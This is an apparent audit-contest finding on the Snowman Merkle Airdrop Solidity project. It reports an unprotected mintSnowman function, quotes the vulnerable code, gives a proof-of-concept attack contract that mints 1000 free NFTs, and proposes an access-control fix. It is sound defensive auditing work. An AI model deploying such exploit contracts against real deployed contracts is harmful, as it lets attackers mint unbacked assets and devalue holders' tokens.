Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unprotected `mintSnowman` function allows NFT minting

Root + Impact

The mintSnowman function is an unprotected external function. This allows any user to mint an unlimited number of Snowman NFTs for free which completely bypasses the intended airdrop mechanism that requires staking Snow tokens and devaluing both the NFT and the ERC20 token

Description

The intended behavior is for users to acquire Snow tokens and then use the SnowmanAirdrop contract to claim Snowman NFTs. The SnowmanAirdrop contract is the only one that should be authorized to call the mintSnowman function on the Snowman contract to distribute these NFTs to eligible stakers.

The problem is that the mintSnowman function in the Snowman.sol contract is declared as external without any access control modifiers. Which means any person or contract can call it directly to mint any number of NFTs to any address without meeting any of the protocol's requirements

@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • An attacker calls the public mintSnowman function on the deployed Snowman.sol contract

  • This exploit requires no special permissions or conditions, this is always callable by any external account since the contract was deployed.

Impact:

  • The core protocol utility, which involves users staking Snow tokens via the SnowmanAirdrop contract to receive NFTs, is rendered useless

  • The Snowman NFT is devalued because of its unlimited and free supply. This also devalues the Snow token, as its primary use case is no longer necessary.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./Snowman.sol";
contract AttackSnowmanMinting {
Snowman public snowmanContract;
constructor(address _snowman) {
snowmanContract = Snowman(_snowman);
}
function exploitDirectMinting() external {
// Step 1: Check initial NFT supply
uint256 initialSupply = snowmanContract.getTokenCounter();
// Step 2: Mint 1000 NFTs directly without any Snow tokens
snowmanContract.mintSnowman(msg.sender, 1000);
// Step 3: Verify we now own 1000 NFTs
uint256 finalSupply = snowmanContract.getTokenCounter();
assert(finalSupply == initialSupply + 1000);
assert(snowmanContract.balanceOf(msg.sender) == 1000);
// Step 4: Can even mint to other addresses
snowmanContract.mintSnowman(address(0x123), 500);
}
}
// The execution is as follows:
// 1. Deploy attack contract
// 2. Call exploitDirectMinting()
// Result: Attacker now has 1000 NFTs without staking any Snow tokens
// Impact: Completely bypasses the intended airdrop mechanism

Recommended Mitigation

+ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ mapping(address => bool) public authorizedMinters;
+ modifier onlyAuthorizedMinter() {
+ require(authorizedMinters[msg.sender], "Not authorized to mint");
+ _;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAuthorizedMinter {
Updates

Lead Judging Commences

yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.